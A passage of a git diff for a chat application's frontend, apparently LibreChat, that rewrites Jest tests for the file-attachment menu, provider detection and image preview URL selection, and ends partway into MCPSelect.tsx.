- });
- expect(container.innerHTML).toBe('');
- });
-
- it('renders null for agents endpoint when disableInputs is true', () => {
- const { container } = renderComponent(
- { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' },
- true,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('renders AttachFile for assistants endpoint when not disabled', () => {
- renderComponent({ endpoint: EModelEndpoint.assistants });
- expect(screen.getByTestId('attach-file')).toBeInTheDocument();
- });
-
- it('renders AttachFileMenu when provider-specific config overrides agents disabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- Moonshot: { disabled: false, fileLimit: 5 },
- [EModelEndpoint.agents]: { disabled: true },
- },
- });
- mockAgentsMap = {
- 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
- };
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
- });
-
- it('renders null for assistants endpoint when fileConfig.assistants.disabled is true', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.assistants]: { disabled: true },
- },
- });
- const { container } = renderComponent({
- endpoint: EModelEndpoint.assistants,
- });
- expect(container.innerHTML).toBe('');
- });
- });
-
- describe('endpointFileConfig resolution', () => {
- it('passes Moonshot-specific file config for agent with Moonshot provider', () => {
- mockAgentsMap = {
- 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
- };
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
- expect(config?.fileLimit).toBe(5);
- });
-
- it('passes agents file config when agent has no specific provider config', () => {
- mockAgentsMap = {
- 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
- };
- renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
- const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
- expect(config?.fileLimit).toBe(10);
- });
-
- it('passes agents file config when no agent provider', () => {
- renderComponent({ endpoint: EModelEndpoint.agents });
- const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
- expect(config?.fileLimit).toBe(20);
- });
- });
-});
diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
index cf08721207..d3f0fb65bc 100644
--- a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
@@ -1,10 +1,12 @@
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
+import '@testing-library/jest-dom';
import { RecoilRoot } from 'recoil';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
-import { EModelEndpoint, Providers } from 'librechat-data-provider';
+import { EModelEndpoint } from 'librechat-data-provider';
import AttachFileMenu from '../AttachFileMenu';
+// Mock all the hooks
jest.mock('~/hooks', () => ({
useAgentToolPermissions: jest.fn(),
useAgentCapabilities: jest.fn(),
@@ -23,45 +25,53 @@ jest.mock('~/data-provider', () => ({
}));
jest.mock('~/components/SharePoint', () => ({
- SharePointPickerDialog: () => null,
+ SharePointPickerDialog: jest.fn(() => null),
}));
jest.mock('@librechat/client', () => {
- // eslint-disable-next-line @typescript-eslint/no-require-imports
- const R = require('react');
+ const React = jest.requireActual('react');
return {
- FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children),
- TooltipAnchor: (props) => props.render,
- DropdownPopup: (props) =>
- R.createElement(
- 'div',
- null,
- R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger),
- props.isOpen &&
- R.createElement(
- 'div',
- { 'data-testid': 'dropdown-menu' },
- props.items.map((item, idx) =>
- R.createElement(
- 'button',
- { key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` },
- item.label,
- ),
- ),
- ),
- ),
- AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }),
- SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }),
+ FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => (
+
+
+ {children}
+
+ )),
+ TooltipAnchor: ({ render }: any) => render,
+ DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => {
+ const handleTriggerClick = () => {
+ if (setIsOpen) {
+ setIsOpen(!isOpen);
+ }
+ };
+
+ return (
+
+
{trigger}
+ {isOpen && (
+
+ {items.map((item: any, idx: number) => (
+
+ {item.label}
+
+ ))}
+
+ )}
+
+ );
+ },
+ AttachmentIcon: () => 📎 ,
+ SharePointIcon: () => SP ,
};
});
-jest.mock('@ariakit/react', () => {
- // eslint-disable-next-line @typescript-eslint/no-require-imports
- const R = require('react');
- return {
- MenuButton: (props) => R.createElement('button', props, props.children),
- };
-});
+jest.mock('@ariakit/react', () => ({
+ MenuButton: ({ children, onClick, disabled, ...props }: any) => (
+
+ {children}
+
+ ),
+}));
const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
@@ -73,283 +83,558 @@ const mockUseSharePointFileHandling = jest.requireMock(
).default;
const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
-const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
-
-function setupMocks(overrides: { provider?: string } = {}) {
- const translations: Record = {
- com_ui_upload_provider: 'Upload to Provider',
- com_ui_upload_image_input: 'Upload Image',
- com_ui_upload_ocr_text: 'Upload as Text',
- com_ui_upload_file_search: 'Upload for File Search',
- com_ui_upload_code_files: 'Upload Code Files',
- com_sidepanel_attach_files: 'Attach Files',
- com_files_upload_sharepoint: 'Upload from SharePoint',
- };
- mockUseLocalize.mockReturnValue((key: string) => translations[key] || key);
- mockUseAgentCapabilities.mockReturnValue({
- contextEnabled: false,
- fileSearchEnabled: false,
- codeEnabled: false,
- });
- mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} });
- mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() });
- mockUseSharePointFileHandling.mockReturnValue({
- handleSharePointFiles: jest.fn(),
- isProcessing: false,
- downloadProgress: 0,
- });
- mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } });
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: overrides.provider ?? undefined,
- });
-}
-
-function renderMenu(props: Record = {}) {
- return render(
-
-
-
-
- ,
- );
-}
-
-function openMenu() {
- fireEvent.click(screen.getByRole('button', { name: /attach file options/i }));
-}
-
describe('AttachFileMenu', () => {
- beforeEach(jest.clearAllMocks);
+ const queryClient = new QueryClient({
+ defaultOptions: {
+ queries: { retry: false },
+ },
+ });
- describe('Upload to Provider vs Upload Image', () => {
- it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => {
- setupMocks({ provider: 'Moonshot' });
- renderMenu({ endpointType: EModelEndpoint.custom });
- openMenu();
+ const mockHandleFileChange = jest.fn();
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ // Default mock implementations
+ mockUseLocalize.mockReturnValue((key: string) => {
+ const translations: Record = {
+ com_ui_upload_provider: 'Upload to Provider',
+ com_ui_upload_image_input: 'Upload Image',
+ com_ui_upload_ocr_text: 'Upload OCR Text',
+ com_ui_upload_file_search: 'Upload for File Search',
+ com_ui_upload_code_files: 'Upload Code Files',
+ com_sidepanel_attach_files: 'Attach Files',
+ com_files_upload_sharepoint: 'Upload from SharePoint',
+ };
+ return translations[key] || key;
+ });
+
+ mockUseAgentCapabilities.mockReturnValue({
+ contextEnabled: false,
+ fileSearchEnabled: false,
+ codeEnabled: false,
+ });
+
+ mockUseGetAgentsConfig.mockReturnValue({
+ agentsConfig: {
+ capabilities: {
+ contextEnabled: false,
+ fileSearchEnabled: false,
+ codeEnabled: false,
+ },
+ },
+ });
+
+ mockUseFileHandling.mockReturnValue({
+ handleFileChange: mockHandleFileChange,
+ });
+
+ mockUseSharePointFileHandling.mockReturnValue({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ });
+
+ mockUseGetStartupConfig.mockReturnValue({
+ data: {
+ sharePointFilePickerEnabled: false,
+ },
+ });
+
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: undefined,
+ });
+ });
+
+ const renderAttachFileMenu = (props: any = {}) => {
+ return render(
+
+
+
+
+ ,
+ );
+ };
+
+ describe('Basic Rendering', () => {
+ it('should render the attachment button', () => {
+ renderAttachFileMenu();
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ expect(button).toBeInTheDocument();
+ });
+
+ it('should be disabled when disabled prop is true', () => {
+ renderAttachFileMenu({ disabled: true });
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ expect(button).toBeDisabled();
+ });
+
+ it('should not be disabled when disabled prop is false', () => {
+ renderAttachFileMenu({ disabled: false });
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ expect(button).not.toBeDisabled();
+ });
+ });
+
+ describe('Provider Detection Fix - endpointType Priority', () => {
+ it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders
+ });
+
+ renderAttachFileMenu({
+ endpoint: 'litellm',
+ endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ // With the fix, should show "Upload to Provider" because endpointType is checked first
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
});
- it('shows "Upload to Provider" when endpointType is openAI', () => {
- setupMocks({ provider: EModelEndpoint.openAI });
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+ it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: 'my-custom-gateway',
+ });
+
+ renderAttachFileMenu({
+ endpoint: 'my-custom-gateway',
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('shows "Upload to Provider" when endpointType is anthropic', () => {
- setupMocks({ provider: EModelEndpoint.anthropic });
- renderMenu({ endpointType: EModelEndpoint.anthropic });
- openMenu();
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- });
+ it('should show Upload Image when neither endpointType nor provider support documents', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: 'unsupported-provider',
+ });
- it('shows "Upload to Provider" when endpointType is google', () => {
- setupMocks({ provider: Providers.GOOGLE });
- renderMenu({ endpointType: EModelEndpoint.google });
- openMenu();
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- });
+ renderAttachFileMenu({
+ endpoint: 'unsupported-provider',
+ endpointType: 'unsupported-endpoint' as any,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
- it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => {
- setupMocks();
- renderMenu({ endpointType: EModelEndpoint.agents });
- openMenu();
expect(screen.getByText('Upload Image')).toBeInTheDocument();
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
});
- it('shows "Upload Image" when neither endpointType nor provider supports documents', () => {
- setupMocks({ provider: 'unknown-provider' });
- renderMenu({ endpointType: 'unknown-type' });
- openMenu();
- expect(screen.getByText('Upload Image')).toBeInTheDocument();
- });
+ it('should fallback to currentProvider when endpointType is undefined', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.openAI,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.openAI,
+ endpointType: undefined,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
- it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => {
- setupMocks({ provider: EModelEndpoint.azureOpenAI });
- renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true });
- openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => {
- setupMocks({ provider: EModelEndpoint.azureOpenAI });
- renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false });
- openMenu();
- expect(screen.getByText('Upload Image')).toBeInTheDocument();
+ it('should fallback to currentProvider when endpointType is null', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.anthropic,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.anthropic,
+ endpointType: null,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
});
- describe('agent provider resolution scenario', () => {
- it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => {
- setupMocks({ provider: 'Moonshot' });
- renderMenu({
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.custom,
+ describe('Supported Providers', () => {
+ const supportedProviders = [
+ { name: 'OpenAI', endpoint: EModelEndpoint.openAI },
+ { name: 'Anthropic', endpoint: EModelEndpoint.anthropic },
+ { name: 'Google', endpoint: EModelEndpoint.google },
+ { name: 'Custom', endpoint: EModelEndpoint.custom },
+ ];
+
+ supportedProviders.forEach(({ name, endpoint }) => {
+ it(`should show Upload to Provider for ${name}`, () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: endpoint,
+ });
+
+ renderAttachFileMenu({
+ endpoint,
+ endpointType: endpoint,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- openMenu();
+ });
+
+ it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.azureOpenAI,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.azureOpenAI,
+ endpointType: EModelEndpoint.azureOpenAI,
+ useResponsesApi: true,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('shows "Upload Image" when agents endpoint has no resolved provider type', () => {
- setupMocks();
- renderMenu({
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
+ it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.azureOpenAI,
});
- openMenu();
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.azureOpenAI,
+ endpointType: EModelEndpoint.azureOpenAI,
+ useResponsesApi: false,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
});
- describe('Basic Rendering', () => {
- it('renders the attachment button', () => {
- setupMocks();
- renderMenu();
- expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
- });
-
- it('is disabled when disabled prop is true', () => {
- setupMocks();
- renderMenu({ disabled: true });
- expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled();
- });
-
- it('is not disabled when disabled prop is false', () => {
- setupMocks();
- renderMenu({ disabled: false });
- expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled();
- });
- });
-
describe('Agent Capabilities', () => {
- it('shows OCR Text option when context is enabled', () => {
- setupMocks();
+ it('should show OCR Text option when context is enabled', () => {
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true,
fileSearchEnabled: false,
codeEnabled: false,
});
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
- expect(screen.getByText('Upload as Text')).toBeInTheDocument();
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
});
- it('shows File Search option when enabled and allowed by agent', () => {
- setupMocks();
+ it('should show File Search option when enabled and allowed by agent', () => {
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: true,
codeEnabled: false,
});
+
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true,
codeAllowedByAgent: false,
provider: undefined,
});
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
});
- it('does NOT show File Search when enabled but not allowed by agent', () => {
- setupMocks();
+ it('should NOT show File Search when enabled but not allowed by agent', () => {
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: true,
codeEnabled: false,
});
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: undefined,
+ });
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
});
- it('shows Code Files option when enabled and allowed by agent', () => {
- setupMocks();
+ it('should show Code Files option when enabled and allowed by agent', () => {
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: false,
codeEnabled: true,
});
+
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: true,
provider: undefined,
});
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
});
- it('shows all options when all capabilities are enabled', () => {
- setupMocks();
+ it('should show all options when all capabilities are enabled', () => {
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true,
fileSearchEnabled: true,
codeEnabled: true,
});
+
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true,
codeAllowedByAgent: true,
provider: undefined,
});
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- expect(screen.getByText('Upload as Text')).toBeInTheDocument();
+ expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
});
});
describe('SharePoint Integration', () => {
- it('shows SharePoint option when enabled', () => {
- setupMocks();
+ it('should show SharePoint option when enabled', () => {
mockUseGetStartupConfig.mockReturnValue({
- data: { sharePointFilePickerEnabled: true },
+ data: {
+ sharePointFilePickerEnabled: true,
+ },
});
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
});
- it('does NOT show SharePoint option when disabled', () => {
- setupMocks();
- renderMenu({ endpointType: EModelEndpoint.openAI });
- openMenu();
+ it('should NOT show SharePoint option when disabled', () => {
+ mockUseGetStartupConfig.mockReturnValue({
+ data: {
+ sharePointFilePickerEnabled: false,
+ },
+ });
+
+ renderAttachFileMenu({
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
});
});
describe('Edge Cases', () => {
- it('handles undefined endpoint and provider gracefully', () => {
- setupMocks();
- renderMenu({ endpoint: undefined, endpointType: undefined });
+ it('should handle undefined endpoint and provider gracefully', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: undefined,
+ });
+
+ renderAttachFileMenu({
+ endpoint: undefined,
+ endpointType: undefined,
+ });
+
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument();
fireEvent.click(button);
+
+ // Should show Upload Image as fallback
expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
- it('handles null endpoint and provider gracefully', () => {
- setupMocks();
- renderMenu({ endpoint: null, endpointType: null });
- expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
+ it('should handle null endpoint and provider gracefully', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: null,
+ });
+
+ renderAttachFileMenu({
+ endpoint: null,
+ endpointType: null,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ expect(button).toBeInTheDocument();
});
- it('handles missing agentId gracefully', () => {
- setupMocks();
- renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI });
- expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
+ it('should handle missing agentId gracefully', () => {
+ renderAttachFileMenu({
+ agentId: undefined,
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ expect(button).toBeInTheDocument();
});
- it('handles empty string agentId', () => {
- setupMocks();
- renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI });
- expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
+ it('should handle empty string agentId', () => {
+ renderAttachFileMenu({
+ agentId: '',
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ expect(button).toBeInTheDocument();
+ });
+ });
+
+ describe('Google Provider Special Case', () => {
+ it('should use image_document_video_audio file type for Google provider', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.google,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.google,
+ endpointType: EModelEndpoint.google,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ const uploadProviderButton = screen.getByText('Upload to Provider');
+ expect(uploadProviderButton).toBeInTheDocument();
+
+ // Click the upload to provider option
+ fireEvent.click(uploadProviderButton);
+
+ // The file input should have been clicked (indirectly tested through the implementation)
+ });
+
+ it('should use image_document file type for non-Google providers', () => {
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.openAI,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.openAI,
+ endpointType: EModelEndpoint.openAI,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ const uploadProviderButton = screen.getByText('Upload to Provider');
+ expect(uploadProviderButton).toBeInTheDocument();
+ fireEvent.click(uploadProviderButton);
+
+ // Implementation detail - image_document type is used
+ });
+ });
+
+ describe('Regression Tests', () => {
+ it('should not break the previous behavior for direct provider attachments', () => {
+ // When using a direct supported provider (not through a gateway)
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.anthropic,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.anthropic,
+ endpointType: EModelEndpoint.anthropic,
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ });
+
+ it('should maintain correct priority when both are supported', () => {
+ // Both endpointType and provider are supported, endpointType should be checked first
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: EModelEndpoint.google,
+ });
+
+ renderAttachFileMenu({
+ endpoint: EModelEndpoint.google,
+ endpointType: EModelEndpoint.openAI, // Different but both supported
+ });
+
+ const button = screen.getByRole('button', { name: /attach file options/i });
+ fireEvent.click(button);
+
+ // Should still work because endpointType (openAI) is supported
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
});
});
diff --git a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
index ccfa19ffc8..90c1c3a7b5 100644
--- a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
@@ -21,7 +21,6 @@ jest.mock('~/utils', () => ({
logger: {
log: jest.fn(),
},
- getCachedPreview: jest.fn(() => undefined),
}));
jest.mock('../Image', () => {
@@ -96,7 +95,7 @@ describe('FileRow', () => {
};
describe('Image URL Selection Logic', () => {
- it('should prefer cached preview over filepath when upload is complete', () => {
+ it('should use filepath instead of preview when progress is 1 (upload complete)', () => {
const file = createMockFile({
file_id: 'uploaded-file',
preview: 'blob:http://localhost:3080/temp-preview',
@@ -110,7 +109,8 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview');
+ expect(imageUrl).toBe('/images/user123/uploaded-file__image.png');
+ expect(imageUrl).not.toContain('blob:');
});
it('should use preview when progress is less than 1 (uploading)', () => {
@@ -147,7 +147,7 @@ describe('FileRow', () => {
expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
});
- it('should prefer preview over filepath when both exist and progress is 1', () => {
+ it('should use filepath when both preview and filepath exist and progress is exactly 1', () => {
const file = createMockFile({
file_id: 'complete-file',
preview: 'blob:http://localhost:3080/old-blob',
@@ -161,7 +161,7 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('blob:http://localhost:3080/old-blob');
+ expect(imageUrl).toBe('/images/user123/complete-file__image.png');
});
});
@@ -284,7 +284,7 @@ describe('FileRow', () => {
const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
expect(urls).toContain('blob:http://localhost:3080/preview-1');
- expect(urls).toContain('blob:http://localhost:3080/preview-2');
+ expect(urls).toContain('/images/user123/file-2__image.png');
});
it('should deduplicate files with the same file_id', () => {
@@ -321,10 +321,10 @@ describe('FileRow', () => {
});
});
- describe('Preview Cache Integration', () => {
- it('should prefer preview blob URL over filepath for zero-flicker rendering', () => {
+ describe('Regression: Blob URL Bug Fix', () => {
+ it('should NOT use revoked blob URL after upload completes', () => {
const file = createMockFile({
- file_id: 'cache-test',
+ file_id: 'regression-test',
preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
filepath:
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
@@ -337,24 +337,8 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b');
- });
- it('should fall back to filepath when no preview exists', () => {
- const file = createMockFile({
- file_id: 'no-preview',
- preview: undefined,
- filepath:
- '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
- progress: 1,
- });
-
- const filesMap = new Map();
- filesMap.set(file.file_id, file);
-
- renderFileRow(filesMap);
-
- const imageUrl = screen.getByTestId('image-url').textContent;
+ expect(imageUrl).not.toContain('blob:');
expect(imageUrl).toBe(
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
);
diff --git a/client/src/components/Chat/Input/MCPSelect.tsx b/client/src/components/Chat/Input/MCPSelect.tsx
index 13a86c856a..a5356f5094 100644
--- a/client/src/components/Chat/Input/MCPSelect.tsx
+++ b/client/src/components/Chat/Input/MCPSelect.tsx
@@ -1,4 +1,4 @@
-import React, { memo, useMemo } from 'react';
+import React, { memo, useMemo, useCallback, useRef } from 'react';
import * as Ariakit from '@ariakit/react';
import { ChevronDown } from 'lucide-react';
import { PermissionTypes, Permissions } from 'librechat-data-provider';
@@ -27,9 +27,24 @@ function MCPSelectContent() {
const menuStore = Ariakit.useMenuStore({ focusLoop: true });
const isOpen = menuStore.useState('open');
